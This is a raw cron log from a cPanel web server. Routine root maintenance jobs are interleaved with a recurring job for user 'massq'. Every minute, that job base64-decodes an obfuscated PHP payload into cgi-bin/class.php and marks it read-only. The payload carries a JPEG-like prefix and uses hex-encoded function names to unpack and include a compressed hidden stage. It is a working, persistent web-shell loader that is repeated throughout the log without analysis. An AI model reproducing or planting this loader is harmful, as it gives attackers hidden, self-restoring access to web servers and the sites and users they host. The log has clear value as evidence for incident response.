Nov  9 19:31:01 server CROND[32257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:32:01 server CROND[610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:33:01 server CROND[1424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:34:01 server CROND[2231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:35:01 server CROND[3221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:35:01 server CROND[3223]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 19:35:01 server CROND[3224]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 19:35:01 server CROND[3226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:35:01 server CROND[3225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:36:01 server CROND[4108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:37:01 server CROND[4922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:38:01 server CROND[5736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:39:01 server CROND[6547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:39:01 server CROND[6546]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:40:01 server CROND[7457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:40:01 server CROND[7456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:40:01 server CROND[7458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:40:01 server CROND[7459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:41:01 server CROND[8332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:42:01 server CROND[9355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:42:01 server CROND[9356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:43:01 server CROND[10014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
